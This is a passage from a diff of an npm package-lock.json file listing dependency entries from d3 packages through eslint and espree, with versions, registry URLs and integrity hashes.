"integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decamelize-keys": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", + "integrity": "sha1-0XGoeTMlKAfrPLYdwcFEXQeN8tk=", + "dev": true, + "dependencies": { + "decamelize": "^1.1.0", + "map-obj": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decamelize-keys/node_modules/map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/deep-equal": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz", + "integrity": "sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==", + "dev": true, + "dependencies": { + "is-arguments": "^1.0.4", + "is-date-object": "^1.0.1", + "is-regex": "^1.0.4", + "object-is": "^1.0.1", + "object-keys": "^1.1.1", + "regexp.prototype.flags": "^1.2.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dev": true, + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", + "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "dev": true, + "dependencies": { + "object-keys": "^1.0.12" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", + "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==", + "dev": true, + "dependencies": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/del/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/del/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/dequal": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.2.tgz", + "integrity": "sha512-q9K8BlJVxK7hQYqa6XISGmBZbtQQWVXSrRrWreHC94rMt1QL/Impruc+7p2CYSYuVIUr+YCt6hjrs1kkdJRTug==", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=", + "dev": true + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true + }, + "node_modules/diff-sequences": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", + "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==", + "dev": true, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dnd-core": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/dnd-core/-/dnd-core-11.1.3.tgz", + "integrity": "sha512-QugF55dNW+h+vzxVJ/LSJeTeUw9MCJ2cllhmVThVPEtF16ooBkxj0WBE5RB+AceFxMFo1rO6bJKXtqKl+JNnyA==", + "dependencies": { + "@react-dnd/asap": "^4.0.0", + "@react-dnd/invariant": "^2.0.0", + "redux": "^4.0.4" + } + }, + "node_modules/dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha1-s55/HabrCnW6nBcySzR1PEfgZU0=", + "dev": true + }, + "node_modules/dns-packet": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.4.tgz", + "integrity": "sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==", + "dev": true, + "dependencies": { + "ip": "^1.1.0", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/dns-txt": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dns-txt/-/dns-txt-2.0.2.tgz", + "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", + "dev": true, + "dependencies": { + "buffer-indexof": "^1.0.0" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dev": true, + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/dom-helpers/node_modules/csstype": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" + }, + "node_modules/dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/dom-walk": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz", + "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" + }, + "node_modules/domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/downloadjs": { + "version": "1.4.7", + "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", + "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.4.103", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.103.tgz", + "integrity": "sha512-c/uKWR1Z/W30Wy/sx3dkZoj4BijbXX85QKWu9jJfjho3LBAXNEGAEW3oWiGb+dotA6C6BzCTxL2/aLes7jlUeg==" + }, + "node_modules/element-resize-event": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", + "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/encoding": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", + "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", + "dependencies": { + "iconv-lite": "~0.4.13" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.9.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", + "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/envinfo": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", + "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "dev": true, + "bin": { + "envinfo": "dist/cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-abstract": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.2.tgz", + "integrity": "sha512-gfSBJoZdlL2xRiOCy0g8gLMryhoe1TlimjzU99L/31Z8QEGIhVQI+EWwt5lT+AuU9SnorVupXFqqOGqGfsyO6w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "get-symbol-description": "^1.0.0", + "has": "^1.0.3", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "is-callable": "^1.2.4", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.1", + "is-string": "^1.0.7", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-module-lexer": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", + "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==" + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es6-templates": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/es6-templates/-/es6-templates-0.2.3.tgz", + "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", + "dev": true, + "dependencies": { + "recast": "~0.11.12", + "through": "~2.3.6" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=", + "dev": true + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/eslint": { + "version": "6.8.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz", + "integrity": "sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "ajv": "^6.10.0", + "chalk": "^2.1.0", + "cross-spawn": "^6.0.5", + "debug": "^4.0.1", + "doctrine": "^3.0.0", + "eslint-scope": "^5.0.0", + "eslint-utils": "^1.4.3", + "eslint-visitor-keys": "^1.1.0", + "espree": "^6.1.2", + "esquery": "^1.0.1", + "esutils": "^2.0.2", + "file-entry-cache": "^5.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^5.0.0", + "globals": "^12.1.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "inquirer": "^7.0.0", + "is-glob": "^4.0.0", + "js-yaml": "^3.13.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.3.0", + "lodash": "^4.17.14", + "minimatch": "^3.0.4", + "mkdirp": "^0.5.1", + "natural-compare": "^1.4.0", + "optionator": "^0.8.3", + "progress": "^2.0.0", + "regexpp": "^2.0.1", + "semver": "^6.1.2", + "strip-ansi": "^5.2.0", + "strip-json-comments": "^3.0.1", + "table": "^5.2.3", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^8.10.0 || ^10.13.0 || >=11.10.1" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-loader": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-4.0.2.tgz", + "integrity": "sha512-EDpXor6lsjtTzZpLUn7KmXs02+nIjGcgees9BYjNkWra3jVq5vVa8IoCKgzT2M7dNNeoMBtaSG83Bd40N3poLw==", + "deprecated": "This loader has been deprecated. Please use eslint-webpack-plugin", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "fs-extra": "^8.1.0", + "loader-utils": "^2.0.0", + "object-hash": "^2.0.3", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 10.13.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0", + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.29.4", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.29.4.tgz", + "integrity": "sha512-CVCXajliVh509PcZYRFyu/BoUEz452+jtQJq2b3Bae4v3xBUWPLCmtmBM+ZinG4MzwmxJgJ2M5rMqhqLVn7MtQ==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.4", + "array.prototype.flatmap": "^1.2.5", + "doctrine": "^2.1.0", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.5", + "object.fromentries": "^2.0.5", + "object.hasown": "^1.1.0", + "object.values": "^1.1.5", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.3", + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.6" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.3", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", + "integrity": "sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==", + "dev": true, + "dependencies": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-scope/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/eslint-utils": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz", + "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^1.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "12.4.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz", + "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==", + "dev": true, + "dependencies": { + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/espree": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-6.2.1.tgz", + "integrity": "sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==", + "dev": true, + "dependencies": { + "acorn": "^7.1.1", + "acorn-jsx": "^5.2.0", + "eslint-visitor-keys": 